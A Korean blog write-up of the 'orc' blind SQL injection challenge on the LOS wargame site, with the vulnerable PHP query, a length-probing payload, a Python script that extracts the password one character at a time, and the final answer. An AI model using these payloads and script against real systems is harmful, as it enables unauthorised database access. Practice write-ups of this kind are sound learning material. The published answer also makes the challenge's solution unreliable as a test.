los 문제

LOS 4번 문제 풀이

webhacking지구 2021. 9. 8. 16:17

LOS 4번문제

LOS 4번문제

코드해석

$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";

pw를 입력받아 prob_orc 테이블에 해당 정보가 있는지 조회한다 그리고 이문제는 id가 어디민으로 고정되있는것을 확인할수있다.

 $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__);

이 문제는 비밀번호를 찾아서 입력해야 합니다.

 if($result['id']) echo "<h2>Hello admin</h2>";

이 코드를 보면 id가 참일때 Hello admin을 출력하는 것을 볼수 있습니다.

 

비밀번호를 찾을때는 비밀번호의 크기부터 구해야한다. 

?pw=1' or id = 'admin' and length(pw)=1%23

이 문제의 비밀번호를 구할땐  위에 보이는 것처럼 입력해주면 되는데 이것을 입력하면 아무것도 되지않을것이다 왜냐하면 길이가 다르기 때문입니다.

해결

length(pw)=1%23에 1씩 계속 대입해보았더니  length(pw)=8%23에서 hello admin이 나왔습니다.

pw길이는 8개라는것입니다 이제 파이썬으로 비밀번호를 구하면 끝

import string
import requests
my_cookies=dict(PHPSESSID="nhnln2dufuge28cfesota7njb2") #쿠키 값
idLength=8	#pw 길이입니다
url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"	
abc=string.digits + string.ascii_letters	

result=""			

for i in range(1,idLength+1):	#pw 길이만큼 반복

    for a in abc:		
    
        param="?pw=' or ASCII(SUBSTR(pw,"+str(i)+",1))="+str(ord(a))+"%23"
        
        new_url=url+param				
        res=requests.get(new_url,cookies=my_cookies)	
        
        if res.text.find("<h2>Hello admin</h2>") > 0:	 
            print(str(i)+"번째 char is :" + a)		
            result += a					
            break					
	
print("result:"+result)		#(패스워드) 결과 출력한다.

이렇게 해주면

풀이

이런식으로 나오는데 답은 095a9852이다 

답 : ?pw=095a9852

 

'los 문제' 카테고리의 다른 글

LOS 6번 문제 풀이  (0) 2021.09.13
LOS 5번 문제 풀이  (0) 2021.09.10
LOS 3번 문제 풀이  (0) 2021.09.08
LOS 2번 문제 풀이  (0) 2021.09.07
LOS 1번 문제 풀이  (0) 2021.09.07